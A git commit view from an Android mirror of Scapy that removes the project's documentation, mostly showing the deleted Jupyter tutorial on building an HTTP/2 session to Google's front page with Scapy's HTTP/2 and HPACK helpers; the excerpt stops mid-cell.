aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorBob Badour <bbadour@google.com>2021-02-03 00:06:23 +0000
committerAutomerger Merge Worker <android-build-automerger-merge-worker@system.gserviceaccount.com>2021-02-03 00:06:23 +0000
commit89550b94d041bbaddc7ed93fee0b545401791f73 (patch)
tree25d0517b7dfb64fddeb63c50c0b0947a4aa80d30
parent1c0e3a023c430bd81eb070ab1430c1db78c675bc (diff)
parent69b3a6d35059544db7922db6265c13f380d367d0 (diff)
downloadscapy-89550b94d041bbaddc7ed93fee0b545401791f73.tar.gz
Remove documentation and refresh OWNERS am: 6b87d6e6cf am: 55cb073b54 am: b33bef727e am: 69b3a6d350
Original change: https://android-review.googlesource.com/c/platform/external/scapy/+/1556650 MUST ONLY BE SUBMITTED BY AUTOMERGER Change-Id: Iac904d2083ffc08ce0b43d571a704f7779173eec
-rw-r--r--METADATA4
-rw-r--r--OWNERS4
-rw-r--r--doc/notebooks/HTTP_2_Tuto.ipynb2550
-rw-r--r--doc/notebooks/Scapy in 15 minutes.ipynb1372
-rw-r--r--doc/notebooks/graphs-ipids.ipynb611
-rw-r--r--doc/notebooks/tls/images/handshake_tls12.pngbin65021 -> 0 bytes
-rw-r--r--doc/notebooks/tls/images/handshake_tls13.pngbin54499 -> 0 bytes
-rw-r--r--doc/notebooks/tls/notebook1_x509.ipynb311
-rw-r--r--doc/notebooks/tls/notebook2_tls_protected.ipynb263
-rw-r--r--doc/notebooks/tls/notebook3_tls_compromised.ipynb123
-rw-r--r--doc/notebooks/tls/notebook4_tls13.ipynb143
-rw-r--r--doc/notebooks/tls/raw_data/pki/ca_cert.derbin908 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/pki/ca_key.derbin1191 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/pki/srv_cert.pem22
-rw-r--r--doc/notebooks/tls/raw_data/pki/srv_key.pem28
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_13/01_cli.rawbin179 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_13/02_srv.rawbin19 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_13/03_cli.rawbin212 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_13/04_srv.rawbin120 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_13/05_srv.rawbin661 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_13/06_cli.rawbin58 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_13/07_srv.rawbin24 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_13/08_cli.rawbin24 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_13/cli_key.raw1
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_compromised/01_cli.rawbin58 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_compromised/02_srv.rawbin1012 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_compromised/03_cli.rawbin326 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_compromised/04_srv.rawbin234 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_compromised/05_cli.rawbin122 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_protected/01_cli.rawbin218 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_protected/02_srv.rawbin89 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_protected/03_srv.rawbin2682 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_protected/04_srv.rawbin831 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_protected/05_cli.rawbin126 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_protected/06_srv.rawbin258 -> 0 bytes
-rw-r--r--doc/notebooks/tls/raw_data/tls_session_protected/07_cli.rawbin507 -> 0 bytes
-rw-r--r--doc/scapy.1.gzbin2273 -> 0 bytes
-rw-r--r--doc/scapy/BuildDoc.bat22
-rw-r--r--doc/scapy/Makefile70
-rw-r--r--doc/scapy/README19
-rw-r--r--doc/scapy/_static/_dummy0
-rw-r--r--doc/scapy/_templates/_dummy0
-rw-r--r--doc/scapy/advanced_usage.rst1088
-rw-r--r--doc/scapy/backmatter.rst10
-rw-r--r--doc/scapy/build_dissect.rst1127
-rw-r--r--doc/scapy/conf.py197
-rw-r--r--doc/scapy/development.rst244
-rw-r--r--doc/scapy/extending.rst98
-rw-r--r--doc/scapy/functions.rst34
-rw-r--r--doc/scapy/graphics/ATMT_HelloWorld.pngbin7222 -> 0 bytes
-rw-r--r--doc/scapy/graphics/ATMT_TFTP_read.pngbin31887 -> 0 bytes
-rw-r--r--doc/scapy/graphics/command-ls.pngbin7163 -> 0 bytes
-rw-r--r--doc/scapy/graphics/default-values-ip.pdfbin17540 -> 0 bytes
-rw-r--r--doc/scapy/graphics/default-values-ip.pngbin13327 -> 0 bytes
-rw-r--r--doc/scapy/graphics/fieldsmanagement.pdfbin5368 -> 0 bytes
-rw-r--r--doc/scapy/graphics/fieldsmanagement.pngbin17024 -> 0 bytes
-rw-r--r--doc/scapy/graphics/graph_traceroute.pngbin88016 -> 0 bytes
-rw-r--r--doc/scapy/graphics/ipid.pngbin9983 -> 0 bytes
-rw-r--r--doc/scapy/graphics/isakmp_dump.pngbin213539 -> 0 bytes
-rw-r--r--doc/scapy/graphics/scapy-concept.pdfbin7842 -> 0 bytes
-rw-r--r--doc/scapy/graphics/scapy-concept.pngbin29841 -> 0 bytes
-rw-r--r--doc/scapy/graphics/scapy-main-console.pngbin395422 -> 0 bytes
-rw-r--r--doc/scapy/graphics/scapy-win-screenshot1.pngbin22793 -> 0 bytes
-rw-r--r--doc/scapy/graphics/scapy-win-screenshot2.pngbin29310 -> 0 bytes
-rw-r--r--doc/scapy/graphics/scapy_logo.pngbin26906 -> 0 bytes
-rw-r--r--doc/scapy/graphics/testing-taxonomy.pngbin14787 -> 0 bytes
-rw-r--r--doc/scapy/graphics/trace3d_1.pngbin93144 -> 0 bytes
-rw-r--r--doc/scapy/graphics/trace3d_2.pngbin62209 -> 0 bytes
-rw-r--r--doc/scapy/index.rst33
-rw-r--r--doc/scapy/installation.rst468
-rw-r--r--doc/scapy/introduction.rst212
-rw-r--r--doc/scapy/troubleshooting.rst69
-rw-r--r--doc/scapy/usage.rst1556
-rw-r--r--doc/scapy_logo.pngbin26906 -> 0 bytes
74 files changed, 5 insertions, 10674 deletions
diff --git a/METADATA b/METADATA
index 6d8601bb..3602cfa2 100644
--- a/METADATA
+++ b/METADATA
@@ -1,3 +1,7 @@
+# *** TAKE SPECIAL CARE WHEN VENDORING IN THIS PROJECT.
+#
+# DOCUMENTATION FILES LIKE doc/scapy/index.rst MAY HAVE CC-BY-NC-SA
+# LICENSE. GOOGLE DOES NOT WANT TO HOST CC-BY-NC* CONTENT. ***
third_party {
license_type: RESTRICTED
}
diff --git a/OWNERS b/OWNERS
index 40e3b442..aa7e9c4f 100644
--- a/OWNERS
+++ b/OWNERS
@@ -1,3 +1 @@
-# Default code reviewers picked from top 3 or more developers.
-# Please update this list if you find better candidates.
-trong@google.com
+include kernel/tests/net/test/OWNERS
diff --git a/doc/notebooks/HTTP_2_Tuto.ipynb b/doc/notebooks/HTTP_2_Tuto.ipynb
deleted file mode 100644
index bb2a23aa..00000000
--- a/doc/notebooks/HTTP_2_Tuto.ipynb
+++ /dev/null
@@ -1,2550 +0,0 @@
-{
- "metadata": {
- "name": "",
- "signature": "sha256:50ffc723dfcf9f5650b542c1b77933eeaa2df6f665494225ce2aba661b86885e"
- },
- "nbformat": 3,
- "nbformat_minor": 0,
- "worksheets": [
- {
- "cells": [
- {
- "cell_type": "heading",
- "level": 1,
- "metadata": {},
- "source": [
- "HTTP/2 Tutorial"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "This tutorial aims at creating an HTTP/2 session using Scapy. The frontpage of Google will be fetched. The favicon will also be loaded as a dependency of the frontpage. Finally, a Google query will be submitted. The first queries will be generated using some Scapy helpers. The last one will be generated by hand, to better illustrate the low level APIs.\n",
- "\n",
- "This tutorial can be run without any privileges (no root, no CAP_NET_ADMIN, no CAP_NET_RAW). One can select \"Cell -> Run All\" to perform the three queries."
- ]
- },
- {
- "cell_type": "heading",
- "level": 2,
- "metadata": {},
- "source": [
- "Building the socket"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "First, we need to build an TLS socket to the HTTP server, and to negotiate the HTTP/2 protocol as the next protocol. Doing so requires a fairly recent version of the Python ssl module. We indeed need support of ALPN (https://www.rfc-editor.org/rfc/rfc7301.txt).\n",
- "We build our TCP socket first."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "import socket\n",
- "dn = 'www.google.fr'\n",
- "\n",
- "# Get the IP address of a Google HTTP endpoint\n",
- "l = socket.getaddrinfo(dn, 443, socket.INADDR_ANY, socket.SOCK_STREAM, socket.IPPROTO_TCP)\n",
- "assert len(l) > 0, 'No address found :('\n",
- "\n",
- "s = socket.socket(l[0][0], l[0][1], l[0][2])\n",
- "s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n",
- "s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)\n",
- "ip_and_port = l[0][4]"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [],
- "prompt_number": 99
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "We now build our SSL context and we wrap the previously defined socket in it."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "import ssl\n",
- "# Testing support for ALPN\n",
- "assert(ssl.HAS_ALPN)\n",
- "\n",
- "# Building the SSL context\n",
- "ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\n",
- "ssl_ctx.set_ciphers(':'.join([ # List from ANSSI TLS guide v.1.1 p.51\n",
- " 'ECDHE-ECDSA-AES256-GCM-SHA384',\n",
- " 'ECDHE-RSA-AES256-GCM-SHA384',\n",
- " 'ECDHE-ECDSA-AES128-GCM-SHA256',\n",
- " 'ECDHE-RSA-AES128-GCM-SHA256',\n",
- " 'ECDHE-ECDSA-AES256-SHA384',\n",
- " 'ECDHE-RSA-AES256-SHA384',\n",
- " 'ECDHE-ECDSA-AES128-SHA256',\n",
- " 'ECDHE-RSA-AES128-SHA256',\n",
- " 'ECDHE-ECDSA-CAMELLIA256-SHA384',\n",
- " 'ECDHE-RSA-CAMELLIA256-SHA384',\n",
- " 'ECDHE-ECDSA-CAMELLIA128-SHA256',\n",
- " 'ECDHE-RSA-CAMELLIA128-SHA256',\n",
- " 'DHE-RSA-AES256-GCM-SHA384',\n",
- " 'DHE-RSA-AES128-GCM-SHA256',\n",
- " 'DHE-RSA-AES256-SHA256',\n",
- " 'DHE-RSA-AES128-SHA256',\n",
- " 'AES256-GCM-SHA384',\n",
- " 'AES128-GCM-SHA256',\n",
- " 'AES256-SHA256',\n",
- " 'AES128-SHA256',\n",
- " 'CAMELLIA128-SHA256'\n",
- " ])) \n",
- "ssl_ctx.set_alpn_protocols(['h2']) # h2 is a RFC7540-hardcoded value\n",
- "ssl_sock = ssl_ctx.wrap_socket(s, server_hostname=dn)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [],
- "prompt_number": 100
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "We then connect the socket to the TCP endpoint."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "ssl_sock.connect(ip_and_port)\n",
- "assert('h2' == ssl_sock.selected_alpn_protocol())"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [],
- "prompt_number": 101
- },
- {
- "cell_type": "heading",
- "level": 2,
- "metadata": {},
- "source": [
- "Reading the server settings and acknowledging them."
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "With HTTP/2, the server is the first to talk, sending its settings for the HTTP/2 session. Let's read them. For this, we wrap the TLS connection into a Scapy SuperSocket for easier management."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "import scapy.supersocket as supersocket\n",
- "import scapy.contrib.http2 as h2\n",
- "import scapy.config\n",
- "scapy.config.conf.debug_dissector = True\n",
- "ss = supersocket.SSLStreamSocket(ssl_sock, basecls=h2.H2Frame)\n",
- "srv_set = ss.recv()\n",
- "srv_set.show()"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x12\n",
- " type = SetFrm\n",
- " flags = set([])\n",
- " reserved = 0L\n",
- " stream_id = 0L\n",
- "###[ HTTP/2 Settings Frame ]### \n",
- " \\settings \\\n",
- " |###[ HTTP/2 Setting ]### \n",
- " | id = Max concurrent streams\n",
- " | value = 100\n",
- " |###[ HTTP/2 Setting ]### \n",
- " | id = Initial window size\n",
- " | value = 1048576\n",
- " |###[ HTTP/2 Setting ]### \n",
- " | id = Max header list size\n",
- " | value = 16384\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 102
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Let's make a note of the server settings for later usage.\n",
- "We define variables for the server settings. They are assigned the RFC-defined default values. These values are overwritten by the settings provided by the server, if they are provided."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "srv_max_frm_sz = 1<<14\n",
- "srv_hdr_tbl_sz = 4096\n",
- "srv_max_hdr_tbl_sz = 0\n",
- "srv_global_window = 1<<14\n",
- "for setting in srv_set.payload.settings:\n",
- " if setting.id == h2.H2Setting.SETTINGS_HEADER_TABLE_SIZE:\n",
- " srv_hdr_tbl_sz = setting.value\n",
- " elif setting.id == h2.H2Setting.SETTINGS_MAX_HEADER_LIST_SIZE:\n",
- " srv_max_hdr_lst_sz = setting.value\n",
- " elif setting.id == h2.H2Setting.SETTINGS_INITIAL_WINDOW_SIZE:\n",
- " srv_global_window = setting.value"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [],
- "prompt_number": 103
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "HTTP/2 is a very polite protocol. We need to acknowledge the server settings. For this, we first need to send a constant string, which is a connection preface. This serves the purpose of confirming to the server that the HTTP/2 protocol is understood by the client. Scapy builds the appropriate packet for us to send from this constant string."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "import scapy.packet as packet\n",
- "\n",
- "# We verify that the server window is large enough for us to send some data.\n",
- "srv_global_window -= len(h2.H2_CLIENT_CONNECTION_PREFACE)\n",
- "assert(srv_global_window >= 0)\n",
- "\n",
- "ss.send(packet.Raw(h2.H2_CLIENT_CONNECTION_PREFACE))"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "metadata": {},
- "output_type": "pyout",
- "prompt_number": 104,
- "text": [
- "24"
- ]
- }
- ],
- "prompt_number": 104
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Then, we build the acknowledgment frame and we send our own settings in another frame. We will define very LARGE values (maximum values as defined in the RFC7540, in most cases), just so that we don't end up having to handle window management in this tutorial."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "set_ack = h2.H2Frame(flags={'A'})/h2.H2SettingsFrame()\n",
- "set_ack.show()"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HTTP/2 Frame ]### \n",
- " len = None\n",
- " type = SetFrm\n",
- " flags = set(['ACK (A)'])\n",
- " reserved = 0\n",
- " stream_id = 0\n",
- "###[ HTTP/2 Settings Frame ]### \n",
- " \\settings \\\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 105
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "own_set = h2.H2Frame()/h2.H2SettingsFrame()\n",
- "max_frm_sz = (1 << 24) - 1\n",
- "max_hdr_tbl_sz = (1 << 16) - 1\n",
- "win_sz = (1 << 31) - 1\n",
- "own_set.settings = [\n",
- " h2.H2Setting(id = h2.H2Setting.SETTINGS_ENABLE_PUSH, value=0),\n",
- " h2.H2Setting(id = h2.H2Setting.SETTINGS_INITIAL_WINDOW_SIZE, value=win_sz),\n",
- " h2.H2Setting(id = h2.H2Setting.SETTINGS_HEADER_TABLE_SIZE, value=max_hdr_tbl_sz),\n",
- " h2.H2Setting(id = h2.H2Setting.SETTINGS_MAX_FRAME_SIZE, value=max_frm_sz),\n",
- "]"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [],
- "prompt_number": 106
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "We then send the two frames and then read the acknowledgment of our settings from the server. We set up a loop because the first frames that we may read could be PING frames or window management frames."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "h2seq = h2.H2Seq()\n",
- "h2seq.frames = [\n",
- " set_ack,\n",
- " own_set\n",
- "]\n",
- "# We verify that the server window is large enough for us to send our frames.\n",
- "srv_global_window -= len(str(h2seq))\n",
- "assert(srv_global_window >= 0)\n",
- "ss.send(h2seq)\n",
- "\n",
- "# Loop until an acknowledgement for our settings is received\n",
- "new_frame = None\n",
- "while isinstance(new_frame, type(None)) or not (\n",
- " new_frame.type == h2.H2SettingsFrame.type_id \n",
- " and 'A' in new_frame.flags\n",
- " ):\n",
- " if not isinstance(new_frame, type(None)):\n",
- " # If we received a frame about window management \n",
- " if new_frame.type == h2.H2WindowUpdateFrame.type_id:\n",
- " # For this tutorial, we don't care about stream-specific windows, but we should :)\n",
- " if new_frame.stream_id == 0:\n",
- " srv_global_window += new_frame.payload.win_size_incr\n",
- " # If we received a Ping frame, we acknowledge the ping, \n",
- " # just by setting the ACK flag (A), and sending back the query\n",
- " elif new_frame.type == h2.H2PingFrame.type_id:\n",
- " new_flags = new_frame.getfieldval('flags')\n",
- " new_flags.add('A')\n",
- " new_frame.flags = new_flags\n",
- " srv_global_window -= len(str(new_frame))\n",
- " assert(srv_global_window >= 0)\n",
- " ss.send(new_frame)\n",
- " else:\n",
- " assert new_frame.type != h2.H2ResetFrame.type_id \\\n",
- " and new_frame.type != h2.H2GoAwayFrame.type_id, \\\n",
- " \"Error received; something is not right!\"\n",
- " try:\n",
- " new_frame = ss.recv()\n",
- " new_frame.show()\n",
- " except:\n",
- " import time\n",
- " time.sleep(1)\n",
- " new_frame = None"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x4\n",
- " type = WinFrm\n",
- " flags = set([])\n",
- " reserved = 0L\n",
- " stream_id = 0L\n",
- "###[ HTTP/2 Window Update Frame ]### \n",
- " reserved = 0L\n",
- " win_size_incr= 983041L\n",
- "\n",
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x0\n",
- " type = SetFrm\n",
- " flags = set(['ACK (A)'])\n",
- " reserved = 0L\n",
- " stream_id = 0L\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 107
- },
- {
- "cell_type": "heading",
- "level": 2,
- "metadata": {},
- "source": [
- "Build the form query with the helpers"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "We are now building a query for the frontpage https://www.google.fr/. We use the HTTP/2 Scapy Module helpers to build this query. The parse_txt_hdrs helper receives various parameters regarding the size of the header blocks and the frame to automatically split the values on multiple frames, if need be. It also receives two callbacks to know which flavour of HPack header encoding we should apply.\n",
- "\n",
- "We either use the server settings if they were specified or the default values.\n",
- "\n",
- "You may note that we say that cookies are sensitive, regardless of their content. We would do something a bit smarter, if we knew what is the name of the cookies that are sensitive, and those that are merely informative. In HTTP/2 cookies are split into multiple \"cookie\" headers, while in HTTP/1.1, they are all stored inside the same header.\n",
- "\n",
- "As the client of this HTTP/2 connection, we need to use odd stream ids, per RFC7540. Since this is the first query, we will use the stream id 1."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "tblhdr = h2.HPackHdrTable()\n",
- "qry_frontpage = tblhdr.parse_txt_hdrs(\n",
- " ''':method GET\n",
- ":path /\n",
- ":authority www.google.fr\n",
- ":scheme https\n",
- "accept-encoding: gzip, deflate\n",
- "accept-language: fr-FR\n",
- "accept: text/html\n",
- "user-agent: Scapy HTTP/2 Module\n",
- "''',\n",
- " stream_id=1,\n",
- " max_frm_sz=srv_max_frm_sz,\n",
- " max_hdr_lst_sz=srv_max_hdr_lst_sz,\n",
- " is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie'],\n",
- " should_index=lambda x: x in [\n",
- " 'x-requested-with', \n",
- " 'user-agent', \n",
- " 'accept-language',\n",
- " ':authority',\n",
- " 'accept',\n",
- " ]\n",
- ")\n",
- "qry_frontpage.show()"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HTTP/2 Frame Sequence ]### \n",
- " \\frames \\\n",
- " |###[ HTTP/2 Frame ]### \n",
- " | len = None\n",
- " | type = HdrsFrm\n",
- " | flags = set(['End Stream (ES)', 'End Headers (EH)'])\n",
- " | reserved = 0\n",
- " | stream_id = 1\n",
- " |###[ HTTP/2 Headers Frame ]### \n",
- " | \\hdrs \\\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 2\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 4\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 1\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = None\n",
- " | | | len = None\n",
- " | | | data = 'HPackZString(www.google.fr)'\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 7\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 16\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 17\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = None\n",
- " | | | len = None\n",
- " | | | data = 'HPackZString(fr-FR)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 19\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = None\n",
- " | | | len = None\n",
- " | | | data = 'HPackZString(text/html)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 58\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = None\n",
- " | | | len = None\n",
- " | | | data = 'HPackZString(Scapy HTTP/2 Module)'\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 108
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "The previous helper updated the HPackHdrTable structure with the headers that should be indexed. We don't need to look inside that table if we only use helpers. For the sake of this tutorial, though, we will."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "for i in xrange(max(tblhdr._static_entries.keys()) + 1, max(tblhdr._static_entries.keys()) + 1 + len(tblhdr._dynamic_table)):\n",
- " print('Header: {} Value: {}'.format(tblhdr[i].name(), tblhdr[i].value()))"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "Header: user-agent Value: Scapy HTTP/2 Module\n",
- "Header: accept Value: text/html\n",
- "Header: accept-language Value: fr-FR\n",
- "Header: :authority Value: www.google.fr\n"
- ]
- }
- ],
- "prompt_number": 109
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "We also build a query for the favicon."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "qry_icon = tblhdr.parse_txt_hdrs(\n",
- " ''':method GET\n",
- ":path /favicon.ico\n",
- ":authority www.google.fr\n",
- ":scheme https\n",
- "accept-encoding: gzip, deflate\n",
- "accept-language: fr-FR\n",
- "accept: image/x-icon; image/vnd.microsoft.icon\n",
- "user-agent: Scapy HTTP/2 Module\n",
- "''',\n",
- " stream_id=3,\n",
- " max_frm_sz=srv_max_frm_sz,\n",
- " max_hdr_lst_sz=srv_max_hdr_tbl_sz,\n",
- " is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie'],\n",
- " should_index=lambda x: x in [\n",
- " 'x-requested-with', \n",
- " 'user-agent', \n",
- " 'accept-language',\n",
- " ':authority',\n",
- " 'accept',\n",
- " ]\n",
- ")\n",
- "qry_icon.show()"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HTTP/2 Frame Sequence ]### \n",
- " \\frames \\\n",
- " |###[ HTTP/2 Frame ]### \n",
- " | len = None\n",
- " | type = HdrsFrm\n",
- " | flags = set(['End Stream (ES)', 'End Headers (EH)'])\n",
- " | reserved = 0\n",
- " | stream_id = 3\n",
- " |###[ HTTP/2 Headers Frame ]### \n",
- " | \\hdrs \\\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 2\n",
- " | |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
- " | | magic = 0\n",
- " | | never_index= Don't Index\n",
- " | | index = 4\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = None\n",
- " | | | len = None\n",
- " | | | data = 'HPackZString(/favicon.ico)'\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 65\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 7\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 16\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 64\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 19\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = None\n",
- " | | | len = None\n",
- " | | | data = 'HPackZString(image/x-icon; image/vnd.microsoft.icon)'\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 63\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 110
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "You may note that several of the headers that are in common between the two queries (the one for the frontpage and the one for the /favicon.ico) are compressed in the second query. They are only refered to by an index number of the dynamic HPack Header Table.\n",
- "We now alter the favicon query to be dependent of the query for the form."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "real_qry_icon = h2.H2Frame(\n",
- " stream_id=qry_icon.frames[0][h2.H2Frame].stream_id,\n",
- " flags={'+'}.union(qry_icon.frames[0][h2.H2Frame].flags),\n",
- ") / h2.H2PriorityHeadersFrame(\n",
- " hdrs=qry_icon.frames[0][h2.H2HeadersFrame].hdrs,\n",
- " stream_dependency=1,\n",
- " weight=32,\n",
- " exclusive=0\n",
- ")\n",
- "real_qry_icon.show()"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HTTP/2 Frame ]### \n",
- " len = None\n",
- " type = HdrsFrm\n",
- " flags = set(['End Stream (ES)', 'End Headers (EH)', 'Priority (+)'])\n",
- " reserved = 0\n",
- " stream_id = 3\n",
- "###[ HTTP/2 Headers Frame with Priority ]### \n",
- " exclusive = 0\n",
- " stream_dependency= 1\n",
- " weight = 32\n",
- " \\hdrs \\\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 2\n",
- " |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
- " | magic = 0\n",
- " | never_index= Don't Index\n",
- " | index = 4\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = None\n",
- " | | len = None\n",
- " | | data = 'HPackZString(/favicon.ico)'\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 65\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 7\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 16\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 64\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 19\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = None\n",
- " | | len = None\n",
- " | | data = 'HPackZString(image/x-icon; image/vnd.microsoft.icon)'\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 63\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 111
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "We can now send both queries to the server."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "h2seq = h2.H2Seq()\n",
- "h2seq.frames = [\n",
- " qry_frontpage.frames[0],\n",
- " real_qry_icon\n",
- "]\n",
- "srv_global_window -= len(str(h2seq))\n",
- "assert(srv_global_window >= 0)\n",
- "ss.send(h2seq)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
